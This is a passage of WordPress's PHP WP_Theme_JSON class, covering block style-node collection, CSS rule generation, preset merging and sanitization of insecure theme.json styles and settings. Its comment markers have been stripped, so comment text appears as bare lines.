foreach ( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $element ] as $pseudo_selector ) {
if ( isset( $theme_json['styles']['elements'][ $element ][ $pseudo_selector ] ) ) {
$nodes[] = array(
'path' => array( 'styles', 'elements', $element ),
'selector' => static::append_to_selector( static::ELEMENTS[ $element ], $pseudo_selector ),
);
}
}
}
}
}
Blocks.
if ( ! isset( $theme_json['styles']['blocks'] ) ) {
return $nodes;
}
$block_nodes = static::get_block_nodes( $theme_json );
foreach ( $block_nodes as $block_node ) {
$nodes[] = $block_node;
}
*
* Filters the list of style nodes with metadata.
*
* This allows for things like loading block CSS independently.
*
* @since 6.1.0
*
* @param array $nodes Style nodes with metadata.
return apply_filters( 'wp_theme_json_get_style_nodes', $nodes );
}
*
* A public helper to get the block nodes from a theme.json file.
*
* @since 6.1.0
*
* @return array The block nodes in theme.json.
public function get_styles_block_nodes() {
return static::get_block_nodes( $this->theme_json );
}
*
* Returns a filtered declarations array if there is a separator block with only a background
* style defined in theme.json by adding a color attribute to reflect the changes in the front.
*
* @since 6.1.1
*
* @param array $declarations List of declarations.
* @return array $declarations List of declarations filtered.
private static function update_separator_declarations( $declarations ) {
$background_color = '';
$border_color_matches = false;
$text_color_matches = false;
foreach ( $declarations as $declaration ) {
if ( 'background-color' === $declaration['name'] && ! $background_color && isset( $declaration['value'] ) ) {
$background_color = $declaration['value'];
} elseif ( 'border-color' === $declaration['name'] ) {
$border_color_matches = true;
} elseif ( 'color' === $declaration['name'] ) {
$text_color_matches = true;
}
if ( $background_color && $border_color_matches && $text_color_matches ) {
break;
}
}
if ( $background_color && ! $border_color_matches && ! $text_color_matches ) {
$declarations[] = array(
'name' => 'color',
'value' => $background_color,
);
}
return $declarations;
}
*
* An internal method to get the block nodes from a theme.json file.
*
* @since 6.1.0
*
* @param array $theme_json The theme.json converted to an array.
* @return array The block nodes in theme.json.
private static function get_block_nodes( $theme_json ) {
$selectors = static::get_blocks_metadata();
$nodes = array();
if ( ! isset( $theme_json['styles'] ) ) {
return $nodes;
}
Blocks.
if ( ! isset( $theme_json['styles']['blocks'] ) ) {
return $nodes;
}
foreach ( $theme_json['styles']['blocks'] as $name => $node ) {
$selector = null;
if ( isset( $selectors[ $name ]['selector'] ) ) {
$selector = $selectors[ $name ]['selector'];
}
$duotone_selector = null;
if ( isset( $selectors[ $name ]['duotone'] ) ) {
$duotone_selector = $selectors[ $name ]['duotone'];
}
$feature_selectors = null;
if ( isset( $selectors[ $name ]['features'] ) ) {
$feature_selectors = $selectors[ $name ]['features'];
}
$nodes[] = array(
'name' => $name,
'path' => array( 'styles', 'blocks', $name ),
'selector' => $selector,
'duotone' => $duotone_selector,
'features' => $feature_selectors,
);
if ( isset( $theme_json['styles']['blocks'][ $name ]['elements'] ) ) {
foreach ( $theme_json['styles']['blocks'][ $name ]['elements'] as $element => $node ) {
$nodes[] = array(
'path' => array( 'styles', 'blocks', $name, 'elements', $element ),
'selector' => $selectors[ $name ]['elements'][ $element ],
);
Handle any pseudo selectors for the element.
TODO: Replace array_key_exists() with isset() check once WordPress drops
support for PHP 5.6. See https:core.trac.wordpress.org/ticket/57067.
if ( array_key_exists( $element, static::VALID_ELEMENT_PSEUDO_SELECTORS ) ) {
foreach ( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $element ] as $pseudo_selector ) {
if ( isset( $theme_json['styles']['blocks'][ $name ]['elements'][ $element ][ $pseudo_selector ] ) ) {
$nodes[] = array(
'path' => array( 'styles', 'blocks', $name, 'elements', $element ),
'selector' => static::append_to_selector( $selectors[ $name ]['elements'][ $element ], $pseudo_selector ),
);
}
}
}
}
}
}
return $nodes;
}
*
* Gets the CSS rules for a particular block from theme.json.
*
* @since 6.1.0
*
* @param array $block_metadata Metadata about the block to get styles for.
*
* @return string Styles for the block.
public function get_styles_for_block( $block_metadata ) {
$node = _wp_array_get( $this->theme_json, $block_metadata['path'], array() );
$use_root_padding = isset( $this->theme_json['settings']['useRootPaddingAwareAlignments'] ) && true === $this->theme_json['settings']['useRootPaddingAwareAlignments'];
$selector = $block_metadata['selector'];
$settings = _wp_array_get( $this->theme_json, array( 'settings' ) );
* Process style declarations for block support features the current
* block contains selectors for. Values for a feature with a custom
* selector are filtered from the theme.json node before it is
* processed as normal.
$feature_declarations = array();
if ( ! empty( $block_metadata['features'] ) ) {
foreach ( $block_metadata['features'] as $feature_name => $feature_selector ) {
if ( ! empty( $node[ $feature_name ] ) ) {
Create temporary node containing only the feature data
to leverage existing `compute_style_properties` function.
$feature = array( $feature_name => $node[ $feature_name ] );
Generate the feature's declarations only.
$new_feature_declarations = static::compute_style_properties( $feature, $settings, null, $this->theme_json );
Merge new declarations with any that already exist for
the feature selector. This may occur when multiple block
support features use the same custom selector.
if ( isset( $feature_declarations[ $feature_selector ] ) ) {
foreach ( $new_feature_declarations as $new_feature_declaration ) {
$feature_declarations[ $feature_selector ][] = $feature_declaration;
}
} else {
$feature_declarations[ $feature_selector ] = $new_feature_declarations;
}
Remove the feature from the block's node now the
styles will be included under the feature level selector.
unset( $node[ $feature_name ] );
}
}
}
* Get a reference to element name from path.
* $block_metadata['path'] = array( 'styles','elements','link' );
* Make sure that $block_metadata['path'] describes an element node, like [ 'styles', 'element', 'link' ].
* Skip non-element paths like just ['styles'].
$is_processing_element = in_array( 'elements', $block_metadata['path'], true );
$current_element = $is_processing_element ? $block_metadata['path'][ count( $block_metadata['path'] ) - 1 ] : null;
$element_pseudo_allowed = array();
TODO: Replace array_key_exists() with isset() check once WordPress drops
support for PHP 5.6. See https:core.trac.wordpress.org/ticket/57067.
if ( array_key_exists( $current_element, static::VALID_ELEMENT_PSEUDO_SELECTORS ) ) {
$element_pseudo_allowed = static::VALID_ELEMENT_PSEUDO_SELECTORS[ $current_element ];
}
* Check for allowed pseudo classes (e.g. ":hover") from the $selector ("a:hover").
* This also resets the array keys.
$pseudo_matches = array_values(
array_filter(
$element_pseudo_allowed,
function( $pseudo_selector ) use ( $selector ) {
return str_contains( $selector, $pseudo_selector );
}
)
);
$pseudo_selector = isset( $pseudo_matches[0] ) ? $pseudo_matches[0] : null;
* If the current selector is a pseudo selector that's defined in the allow list for the current
* element then compute the style properties for it.
* Otherwise just compute the styles for the default selector as normal.
if ( $pseudo_selector && isset( $node[ $pseudo_selector ] ) &&
TODO: Replace array_key_exists() with isset() check once WordPress drops
support for PHP 5.6. See https:core.trac.wordpress.org/ticket/57067.
array_key_exists( $current_element, static::VALID_ELEMENT_PSEUDO_SELECTORS )
&& in_array( $pseudo_selector, static::VALID_ELEMENT_PSEUDO_SELECTORS[ $current_element ], true )
) {
$declarations = static::compute_style_properties( $node[ $pseudo_selector ], $settings, null, $this->theme_json, $selector, $use_root_padding );
} else {
$declarations = static::compute_style_properties( $node, $settings, null, $this->theme_json, $selector, $use_root_padding );
}
$block_rules = '';
* 1. Separate the declarations that use the general selector
* from the ones using the duotone selector.
$declarations_duotone = array();
foreach ( $declarations as $index => $declaration ) {
if ( 'filter' === $declaration['name'] ) {
unset( $declarations[ $index ] );
$declarations_duotone[] = $declaration;
}
}
Update declarations if there are separators with only background color defined.
if ( '.wp-block-separator' === $selector ) {
$declarations = static::update_separator_declarations( $declarations );
}
2. Generate and append the rules that use the general selector.
$block_rules .= static::to_ruleset( $selector, $declarations );
3. Generate and append the rules that use the duotone selector.
if ( isset( $block_metadata['duotone'] ) && ! empty( $declarations_duotone ) ) {
$selector_duotone = static::scope_selector( $block_metadata['selector'], $block_metadata['duotone'] );
$block_rules .= static::to_ruleset( $selector_duotone, $declarations_duotone );
}
4. Generate Layout block gap styles.
if (
static::ROOT_BLOCK_SELECTOR !== $selector &&
! empty( $block_metadata['name'] )
) {
$block_rules .= $this->get_layout_styles( $block_metadata );
}
5. Generate and append the feature level rulesets.
foreach ( $feature_declarations as $feature_selector => $individual_feature_declarations ) {
$block_rules .= static::to_ruleset( $feature_selector, $individual_feature_declarations );
}
return $block_rules;
}
*
* Outputs the CSS for layout rules on the root.
*
* @since 6.1.0
*
* @param string $selector The root node selector.
* @param array $block_metadata The metadata for the root block.
* @return string The additional root rules CSS.
public function get_root_layout_rules( $selector, $block_metadata ) {
$css = '';
$settings = _wp_array_get( $this->theme_json, array( 'settings' ) );
$use_root_padding = isset( $this->theme_json['settings']['useRootPaddingAwareAlignments'] ) && true === $this->theme_json['settings']['useRootPaddingAwareAlignments'];
* Reset default browser margin on the root body element.
* This is set on the root selector **before** generating the ruleset
* from the `theme.json`. This is to ensure that if the `theme.json` declares
* `margin` in its `spacing` declaration for the `body` element then these
* user-generated values take precedence in the CSS cascade.
* @link https:github.com/WordPress/gutenberg/issues/36147.
$css .= 'body { margin: 0;';
* If there are content and wide widths in theme.json, output them
* as custom properties on the body element so all blocks can use them.
if ( isset( $settings['layout']['contentSize'] ) || isset( $settings['layout']['wideSize'] ) ) {
$content_size = isset( $settings['layout']['contentSize'] ) ? $settings['layout']['contentSize'] : $settings['layout']['wideSize'];
$content_size = static::is_safe_css_declaration( 'max-width', $content_size ) ? $content_size : 'initial';
$wide_size = isset( $settings['layout']['wideSize'] ) ? $settings['layout']['wideSize'] : $settings['layout']['contentSize'];
$wide_size = static::is_safe_css_declaration( 'max-width', $wide_size ) ? $wide_size : 'initial';
$css .= '--wp--style--global--content-size: ' . $content_size . ';';
$css .= '--wp--style--global--wide-size: ' . $wide_size . ';';
}
$css .= ' }';
if ( $use_root_padding ) {
Top and bottom padding are applied to the outer block container.
$css .= '.wp-site-blocks { padding-top: var(--wp--style--root--padding-top); padding-bottom: var(--wp--style--root--padding-bottom); }';
Right and left padding are applied to the first container with `.has-global-padding` class.
$css .= '.has-global-padding { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }';
Nested containers with `.has-global-padding` class do not get padding.
$css .= '.has-global-padding :where(.has-global-padding) { padding-right: 0; padding-left: 0; }';
Alignfull children of the container with left and right padding have negative margins so they can still be full width.
$css .= '.has-global-padding > .alignfull { margin-right: calc(var(--wp--style--root--padding-right) * -1); margin-left: calc(var(--wp--style--root--padding-left) * -1); }';
The above rule is negated for alignfull children of nested containers.
$css .= '.has-global-padding :where(.has-global-padding) > .alignfull { margin-right: 0; margin-left: 0; }';
Some of the children of alignfull blocks without content width should also get padding: text blocks and non-alignfull container blocks.
$css .= '.has-global-padding > .alignfull:where(:not(.has-global-padding)) > :where([class*="wp-block-"]:not(.alignfull):not([class*="__"]),p,h1,h2,h3,h4,h5,h6,ul,ol) { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }';
The above rule also has to be negated for blocks inside nested `.has-global-padding` blocks.
$css .= '.has-global-padding :where(.has-global-padding) > .alignfull:where(:not(.has-global-padding)) > :where([class*="wp-block-"]:not(.alignfull):not([class*="__"]),p,h1,h2,h3,h4,h5,h6,ul,ol) { padding-right: 0; padding-left: 0; }';
}
$css .= '.wp-site-blocks > .alignleft { float: left; margin-right: 2em; }';
$css .= '.wp-site-blocks > .alignright { float: right; margin-left: 2em; }';
$css .= '.wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }';
$block_gap_value = _wp_array_get( $this->theme_json, array( 'styles', 'spacing', 'blockGap' ), '0.5em' );
$has_block_gap_support = _wp_array_get( $this->theme_json, array( 'settings', 'spacing', 'blockGap' ) ) !== null;
if ( $has_block_gap_support ) {
$block_gap_value = static::get_property_value( $this->theme_json, array( 'styles', 'spacing', 'blockGap' ) );
$css .= '.wp-site-blocks > * { margin-block-start: 0; margin-block-end: 0; }';
$css .= ".wp-site-blocks > * + * { margin-block-start: $block_gap_value; }";
For backwards compatibility, ensure the legacy block gap CSS variable is still available.
$css .= "$selector { --wp--style--block-gap: $block_gap_value; }";
}
$css .= $this->get_layout_styles( $block_metadata );
return $css;
}
*
* For metadata values that can either be booleans or paths to booleans, gets the value.
*
* ```php
* $data = array(
* 'color' => array(
* 'defaultPalette' => true
* )
* );
*
* static::get_metadata_boolean( $data, false );
* => false
*
* static::get_metadata_boolean( $data, array( 'color', 'defaultPalette' ) );
* => true
* ```
*
* @since 6.0.0
*
* @param array $data The data to inspect.
* @param bool|array $path Boolean or path to a boolean.
* @param bool $default Default value if the referenced path is missing.
* Default false.
* @return bool Value of boolean metadata.
protected static function get_metadata_boolean( $data, $path, $default = false ) {
if ( is_bool( $path ) ) {
return $path;
}
if ( is_array( $path ) ) {
$value = _wp_array_get( $data, $path );
if ( null !== $value ) {
return $value;
}
}
return $default;
}
*
* Merges new incoming data.
*
* @since 5.8.0
* @since 5.9.0 Duotone preset also has origins.
*
* @param WP_Theme_JSON $incoming Data to merge.
public function merge( $incoming ) {
$incoming_data = $incoming->get_raw_data();
$this->theme_json = array_replace_recursive( $this->theme_json, $incoming_data );
* The array_replace_recursive algorithm merges at the leaf level,
* but we don't want leaf arrays to be merged, so we overwrite it.
*
* For leaf values that are sequential arrays it will use the numeric indexes for replacement.
* We rather replace the existing with the incoming value, if it exists.
* This is the case of spacing.units.
*
* For leaf values that are associative arrays it will merge them as expected.
* This is also not the behavior we want for the current associative arrays (presets).
* We rather replace the existing with the incoming value, if it exists.
* This happens, for example, when we merge data from theme.json upon existing
* theme supports or when we merge anything coming from the same source twice.
* This is the case of color.palette, color.gradients, color.duotone,
* typography.fontSizes, or typography.fontFamilies.
*
* Additionally, for some preset types, we also want to make sure the
* values they introduce don't conflict with default values. We do so
* by checking the incoming slugs for theme presets and compare them
* with the equivalent default presets: if a slug is present as a default
* we remove it from the theme presets.
$nodes = static::get_setting_nodes( $incoming_data );
$slugs_global = static::get_default_slugs( $this->theme_json, array( 'settings' ) );
foreach ( $nodes as $node ) {
Replace the spacing.units.
$path = $node['path'];
$path[] = 'spacing';
$path[] = 'units';
$content = _wp_array_get( $incoming_data, $path, null );
if ( isset( $content ) ) {
_wp_array_set( $this->theme_json, $path, $content );
}
Replace the presets.
foreach ( static::PRESETS_METADATA as $preset ) {
$override_preset = ! static::get_metadata_boolean( $this->theme_json['settings'], $preset['prevent_override'], true );
foreach ( static::VALID_ORIGINS as $origin ) {
$base_path = $node['path'];
foreach ( $preset['path'] as $leaf ) {
$base_path[] = $leaf;
}
$path = $base_path;
$path[] = $origin;
$content = _wp_array_get( $incoming_data, $path, null );
if ( ! isset( $content ) ) {
continue;
}
if ( 'theme' === $origin && $preset['use_default_names'] ) {
foreach ( $content as $key => $item ) {
if ( ! isset( $item['name'] ) ) {
$name = static::get_name_from_defaults( $item['slug'], $base_path );
if ( null !== $name ) {
$content[ $key ]['name'] = $name;
}
}
}
}
if (
( 'theme' !== $origin ) ||
( 'theme' === $origin && $override_preset )
) {
_wp_array_set( $this->theme_json, $path, $content );
} else {
$slugs_node = static::get_default_slugs( $this->theme_json, $node['path'] );
$slugs = array_merge_recursive( $slugs_global, $slugs_node );
$slugs_for_preset = _wp_array_get( $slugs, $preset['path'], array() );
$content = static::filter_slugs( $content, $slugs_for_preset );
_wp_array_set( $this->theme_json, $path, $content );
}
}
}
}
}
*
* Converts all filter (duotone) presets into SVGs.
*
* @since 5.9.1
*
* @param array $origins List of origins to process.
* @return string SVG filters.
public function get_svg_filters( $origins ) {
$blocks_metadata = static::get_blocks_metadata();
$setting_nodes = static::get_setting_nodes( $this->theme_json, $blocks_metadata );
$filters = '';
foreach ( $setting_nodes as $metadata ) {
$node = _wp_array_get( $this->theme_json, $metadata['path'], array() );
if ( empty( $node['color']['duotone'] ) ) {
continue;
}
$duotone_presets = $node['color']['duotone'];
foreach ( $origins as $origin ) {
if ( ! isset( $duotone_presets[ $origin ] ) ) {
continue;
}
foreach ( $duotone_presets[ $origin ] as $duotone_preset ) {
$filters .= wp_get_duotone_filter_svg( $duotone_preset );
}
}
}
return $filters;
}
*
* Determines whether a presets should be overridden or not.
*
* @since 5.9.0
* @deprecated 6.0.0 Use {@see 'get_metadata_boolean'} instead.
*
* @param array $theme_json The theme.json like structure to inspect.
* @param array $path Path to inspect.
* @param bool|array $override Data to compute whether to override the preset.
* @return boolean
protected static function should_override_preset( $theme_json, $path, $override ) {
_deprecated_function( __METHOD__, '6.0.0', 'get_metadata_boolean' );
if ( is_bool( $override ) ) {
return $override;
}
* The relationship between whether to override the defaults
* and whether the defaults are enabled is inverse:
*
* - If defaults are enabled => theme presets should not be overridden
* - If defaults are disabled => theme presets should be overridden
*
* For example, a theme sets defaultPalette to false,
* making the default palette hidden from the user.
* In that case, we want all the theme presets to be present,
* so they should override the defaults.
if ( is_array( $override ) ) {
$value = _wp_array_get( $theme_json, array_merge( $path, $override ) );
if ( isset( $value ) ) {
return ! $value;
}
Search the top-level key if none was found for this node.
$value = _wp_array_get( $theme_json, array_merge( array( 'settings' ), $override ) );
if ( isset( $value ) ) {
return ! $value;
}
return true;
}
}
*
* Returns the default slugs for all the presets in an associative array
* whose keys are the preset paths and the leafs is the list of slugs.
*
* For example:
*
* array(
* 'color' => array(
* 'palette' => array( 'slug-1', 'slug-2' ),
* 'gradients' => array( 'slug-3', 'slug-4' ),
* ),
* )
*
* @since 5.9.0
*
* @param array $data A theme.json like structure.
* @param array $node_path The path to inspect. It's 'settings' by default.
* @return array
protected static function get_default_slugs( $data, $node_path ) {
$slugs = array();
foreach ( static::PRESETS_METADATA as $metadata ) {
$path = $node_path;
foreach ( $metadata['path'] as $leaf ) {
$path[] = $leaf;
}
$path[] = 'default';
$preset = _wp_array_get( $data, $path, null );
if ( ! isset( $preset ) ) {
continue;
}
$slugs_for_preset = array();
foreach ( $preset as $item ) {
if ( isset( $item['slug'] ) ) {
$slugs_for_preset[] = $item['slug'];
}
}
_wp_array_set( $slugs, $metadata['path'], $slugs_for_preset );
}
return $slugs;
}
*
* Gets a `default`'s preset name by a provided slug.
*
* @since 5.9.0
*
* @param string $slug The slug we want to find a match from default presets.
* @param array $base_path The path to inspect. It's 'settings' by default.
* @return string|null
protected function get_name_from_defaults( $slug, $base_path ) {
$path = $base_path;
$path[] = 'default';
$default_content = _wp_array_get( $this->theme_json, $path, null );
if ( ! $default_content ) {
return null;
}
foreach ( $default_content as $item ) {
if ( $slug === $item['slug'] ) {
return $item['name'];
}
}
return null;
}
*
* Removes the preset values whose slug is equal to any of given slugs.
*
* @since 5.9.0
*
* @param array $node The node with the presets to validate.
* @param array $slugs The slugs that should not be overridden.
* @return array The new node.
protected static function filter_slugs( $node, $slugs ) {
if ( empty( $slugs ) ) {
return $node;
}
$new_node = array();
foreach ( $node as $value ) {
if ( isset( $value['slug'] ) && ! in_array( $value['slug'], $slugs, true ) ) {
$new_node[] = $value;
}
}
return $new_node;
}
*
* Removes insecure data from theme.json.
*
* @since 5.9.0
*
* @param array $theme_json Structure to sanitize.
* @return array Sanitized structure.
public static function remove_insecure_properties( $theme_json ) {
$sanitized = array();
$theme_json = WP_Theme_JSON_Schema::migrate( $theme_json );
$valid_block_names = array_keys( static::get_blocks_metadata() );
$valid_element_names = array_keys( static::ELEMENTS );
$theme_json = static::sanitize( $theme_json, $valid_block_names, $valid_element_names );
$blocks_metadata = static::get_blocks_metadata();
$style_nodes = static::get_style_nodes( $theme_json, $blocks_metadata );
foreach ( $style_nodes as $metadata ) {
$input = _wp_array_get( $theme_json, $metadata['path'], array() );
if ( empty( $input ) ) {
continue;
}
$output = static::remove_insecure_styles( $input );
* Get a reference to element name from path.
* $metadata['path'] = array( 'styles', 'elements', 'link' );
$current_element = $metadata['path'][ count( $metadata['path'] ) - 1 ];
* $output is stripped of pseudo selectors. Re-add and process them
* or insecure styles here.
TODO: Replace array_key_exists() with isset() check once WordPress drops
support for PHP 5.6. See https:core.trac.wordpress.org/ticket/57067.
if ( array_key_exists( $current_element, static::VALID_ELEMENT_PSEUDO_SELECTORS ) ) {
foreach ( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $current_element ] as $pseudo_selector ) {
if ( isset( $input[ $pseudo_selector ] ) ) {
$output[ $pseudo_selector ] = static::remove_insecure_styles( $input[ $pseudo_selector ] );
}
}
}
if ( ! empty( $output ) ) {
_wp_array_set( $sanitized, $metadata['path'], $output );
}
}
$setting_nodes = static::get_setting_nodes( $theme_json );
foreach ( $setting_nodes as $metadata ) {
$input = _wp_array_get( $theme_json, $metadata['path'], array() );
if ( empty( $input ) ) {
continue;
}
$output = static::remove_insecure_settings( $input );
if ( ! empty( $output ) ) {
_wp_array_set( $sanitized, $metadata['path'], $output );
}
}
if ( empty( $sanitized['styles'] ) ) {
unset( $theme_json['styles'] );
} else {
$theme_json['styles'] = $sanitized['styles'];
}
if ( empty( $sanitized['settings'] ) ) {
unset( $theme_json['settings'] );
} else {
$theme_json['settings'] = $sanitized['settings'];
}
return $theme_json;
}
*
* Processes a setting node and returns the same node
* without the insecure settings.
*
* @since 5.9.0
*
* @param array $input Node to process.
* @return array
protected static function remove_insecure_settings( $input ) {
$output = array();
foreach ( static::PRESETS_METADATA as $preset_metadata ) {
foreach ( static::VALID_ORIGINS as $origin ) {
$path_with_origin = $preset_metadata['path'];
$path_with_origin[] = $origin;
$presets = _wp_array_get( $input, $path_with_origin, null );
if ( null === $presets ) {
continue;
}
$escaped_preset = array();
foreach ( $presets as $preset ) {
if (
esc_attr( esc_html( $preset['name'] ) ) === $preset['name'] &&
sanitize_html_class( $preset['slug'] ) === $preset['slug']
) {
$value = null;
if ( isset( $preset_metadata['value_key'], $preset[ $preset_metadata['value_key'] ] ) ) {
$value = $preset[ $preset_metadata['value_key'] ];
} elseif (
isset( $preset_metadata['value_func'] ) &&
is_callable( $preset_metadata['value_func'] )
) {
$value = call_user_func( $preset_metadata['value_func'], $preset );
}
$preset_is_valid = true;
foreach ( $preset_metadata['properties'] as $property ) {
if ( ! static::is_safe_css_declaration( $property, $value ) ) {
$preset_is_valid = false;
break;
}
}
if ( $preset_is_valid ) {
$escaped_preset[] = $preset;
}
}
}
if ( ! empty( $escaped_preset ) ) {
_wp_array_set( $output, $path_with_origin, $escaped_preset );
}
}
}
return $output;
}
*
* Processes a style node and returns the same node
* without the insecure styles.
*
* @since 5.9.0
*
* @param array $input Node to process.
* @return array
protected static function remove_insecure_styles( $input ) {
$output = array();
$declarations = static::compute_style_properties( $input );
foreach ( $declarations as $declaration ) {
if ( static::is_safe_css_declaration( $declaration['name'], $declaration['value'] ) ) {
$path = static::PROPERTIES_METADATA[ $declaration['name'] ];
Check the value isn't an array before adding so as to not
double up shorthand and longhand styles.
$value = _wp_array_get( $input, $path, array() );
if ( ! is_array( $value ) ) {
_wp_array_set( $output, $path, $value );
}
}
}
return $output;
}
*
* Checks that a declaration provided by the user is safe.
*
* @since 5.9.0
*
* @param string $property_name Property name in a CSS declaration, i.e. the `color` in `color: red`.
* @param string $property_value Value in a CSS declaration, i.e. the `red` in `color: red`.
* @return bool
protected static function is_safe_css_declaration( $property_name, $property_value ) {
$style_to_validate = $property_name . ': ' . $property_value;
$filtered = esc_html( safecss_filter_attr( $style_to_validate ) );
return ! empty( trim( $filtered ) );
}
*
* Returns the raw data.
*
* @since 5.8.0
*
* @return array Raw data.
public function get_raw_data() {
return $this->theme_json;
}
*
* Transforms the given editor settings according the
* add_theme_support format to the theme.json format.
*
* @since 5.8.0
*
* @param array $settings Existing editor settings.
* @return array Config that adheres to the theme.json schema.
public static function get_from_editor_settings( $settings ) {
$theme_settings = array(
'version' => static::LATEST_SCHEMA,
'settings' => array(),
);
Deprecated theme supports.
if ( isset( $settings['disableCustomColors'] ) ) {
if ( ! isset( $theme_settings['settings']['color'] ) ) {
$theme_settings['settings']['color'] = array();
}
$theme_settings['settings']['color']['custom'] = ! $settings['disableCustomColors'];
}
if ( isset( $settings['disableCustomGradients'] ) ) {
if ( ! isset( $theme_settings['settings']['color'] ) ) {
$theme_settings['settings']['color'] = array();
}
$theme_settings['settings']['color']['customGradient'] = ! $settings['disableCustomGradients'];
}
if ( isset( $settings['disableCustomFontSizes'] ) ) {
if ( ! isset( $theme_settings['settings']['typography'] ) ) {
$theme_settings['settings']['typography'] = array();
}
$theme_settings['settings']['typography']['customFontSize'] = ! $settings['disableCustomFontSizes'];
}
if ( isset( $settings['enableCustomLineHeight'] ) ) {
if ( ! isset( $theme_settings['settings']['typography'] ) ) {
$theme_settings['settings']['typography'] = array();
}
$theme_settings['settings']['typography']['lineHeight'] = $settings['enableCustomLineHeight'];
}
if ( isset( $settings['enableCustomUnits'] ) ) {
if ( ! isset( $theme_settings['settings']['spacing'] ) ) {
$theme_settings['settings']['spacing'] = array();
}
$theme_settings['settings']['spacing']['units'] = ( true === $settings['enableCustomUnits'] ) ?
array( 'px', 'em', 'rem', 'vh', 'vw', '%' ) :
$settings['enableCustomUnits'];
}
if ( isset( $settings['colors'] ) ) {
if ( ! isset( $theme_settings['settings']['color'] ) ) {
$theme_settings['settings']['color'] = array();
}
$theme_settings['settings']['color']['palette'] = $settings['colors'];
}
if ( isset( $settings['gradients'] ) ) {
if ( ! isset( $theme_settings['settings']['color'] ) ) {
$theme_settings['settings']['color'] = array();
}
$theme_settings['settings']['color']['gradients'] = $settings['gradients'];
}
if ( isset( $settings['fontSizes'] ) ) {
$font_sizes = $settings['fontSizes'];
Back-compatibility for presets without units.
foreach ( $font_sizes as $key => $font_size ) {
if ( is_numeric( $font_size['size'] ) ) {
$font_sizes[ $key ]['size'] = $font_size['size'] . 'px';
}
}
if ( ! isset( $theme_settings['settings']['typography'] ) ) {
$theme_settings['settings']['typography'] = array();
}
$theme_settings['settings']['typography']['fontSizes'] = $font_sizes;
}
if ( isset( $settings['enableCustomSpacing'] ) ) {
if ( ! isset( $theme_settings['settings']['spacing'] ) ) {
$theme_settings['settings']['spacing'] = array();
}
$theme_settings['settings']['spacing']['padding'] = $settings['enableCustomSpacing'];
}
return $theme_settings;
}
*
* Returns the current theme's wanted patterns(slugs) to be
* registered from Pattern Directory.
*
* @since 6.0.0
*
* @return string[]
public function get_patterns() {
if ( isset( $this->theme_json['patterns'] ) && is_array( $this->theme_json['patterns'] ) ) {
return $this->theme_json['patterns'];
}
return array();
}
*
* Returns a valid theme.json as provided by a theme.
*
* Unlike get_raw_data() this returns the presets flattened, as provided by a theme.
* This also uses appearanceTools instead of their opt-ins if all of them are true.
*
* @since 6.0.0
*
* @return array
public function get_data() {
$output = $this->theme_json;
$nodes = static::get_setting_nodes( $output );
*
* Flatten the theme & custom origins into a single one.
*
* For example, the following:
*
* {
* "settings": {
* "color": {
* "palette": {
* "theme": [ {} ],
* "custom": [ {} ]
* }
* }
* }
* }
*
* will be converted to:
*
* {
* "settings": {
* "color": {
* "palette": [ {} ]
* }
* }
* }
foreach ( $nodes as $node ) {
foreach ( static::PRESETS_METADATA as $preset_metadata ) {
$path = $node['path'];
foreach ( $preset_metadata['path'] as $preset_metadata_path ) {
$path[] = $preset_metadata_path;
}
$preset = _wp_array_get( $output, $path, null );
if ( null === $preset ) {
continue;
}
$items = array();
if ( isset( $preset['theme'] ) ) {
foreach ( $preset['theme'] as $item ) {
$slug = $item['slug'];
unset( $item['slug'] );
$items[ $slug ] = $item;
}
}
if ( isset( $preset['custom'] ) ) {
foreach ( $preset['custom'] as $item ) {
$slug = $item['slug'];
unset( $item['slug'] );
$items[ $slug ] = $item;
}
}
$flattened_preset = array();
foreach ( $items as $slug => $value ) {
$flattened_preset[] = array_merge( array( 'slug' => (string) $slug ), $value );
}
_wp_array_set( $output, $path, $flattened_preset );
}
}
If all of the static::APPEARANCE_TOOLS_OPT_INS are true,
this code unsets them and sets 'appearanceTools' instead.
foreach ( $nodes as $node ) {
$all_opt_ins_are_set = true;
foreach ( static::APPEARANCE_TOOLS_OPT_INS as $opt_in_path ) {
$full_path = $node['path'];
foreach ( $opt_in_path as $opt_in_path_item ) {
$full_path[] = $opt_in_path_item;
}
Use "unset prop" as a marker instead of "null" because
"null" can be a valid value for some props (e.g. blockGap).
$opt_in_value = _wp_array_get( $output, $full_path, 'unset prop' );
if ( 'unset prop' === $opt_in_value ) {
$all_opt_ins_are_set = false;
break;
}
}
if ( $all_opt_ins_are_set ) {
$node_path_with_appearance_tools = $node['path'];
$node_path_with_appearance_tools[] = 'appearanceTools';
_wp_array_set( $output, $node_path_with_appearance_tools, true );
foreach ( static::APPEARANCE_TOOLS_OPT_INS as $opt_in_path ) {
$full_path = $node['path'];
foreach ( $opt_in_path as $opt_in_path_item ) {
$full_path[] = $opt_in_path_item;
}
Use "unset prop" as a marker instead of "null" because
"null" can be a valid value for some props (e.g. blockGap).
$opt_in_value = _wp_array_get( $output, $full_path, 'unset prop' );
if ( true !== $opt_in_value ) {
continue;
}
The following could be improved to be path independent.
At the moment it relies on a couple of assumptions:
- all opt-ins having a path of size 2.
- there's two sources of settings: the top-level and the block-level.
if (
( 1 === count( $node['path'] ) ) &&
( 'settings' === $node['path'][0] )
) {
Top-level settings.
unset( $output['settings'][ $opt_in_path[0] ][ $opt_in_path[1] ] );
if ( empty( $output['settings'][ $opt_in_path[0] ] ) ) {
unset( $output['settings'][ $opt_in_path[0] ] );
}
} elseif (
( 3 === count( $node['path'] ) ) &&
( 'settings' === $node['path'][0] ) &&
( 'blocks' === $node['path'][1] )
) {
Block-level settings.
$block_name = $node['path'][2];
unset( $output['settings']['blocks'][ $block_name ][ $opt_in_path[0] ][ $opt_in_path[1] ] );
if ( empty( $output['settings']['blocks'][ $block_name ][ $opt_in_path[0] ] ) ) {
unset( $output['settings']['blocks'][ $block_name ][ $opt_in_path[0] ] );
}
}
}
}
}
wp_recursive_ksort( $output );
return $output;
}
*
* Sets the spacingSizes array based on the spacingScale values from theme.json.
*
* @since 6.1.0
*
* @return null|void
public function set_spacing_sizes() {
$spacing_scale = _wp_array_get( $this->theme_json, array( 'settings', 'spacing', 'spacingScale' ), array() );
if ( ! isset( $spacing_scale['steps'] )
|| ! is_numeric( $spacing_scale['steps'] )
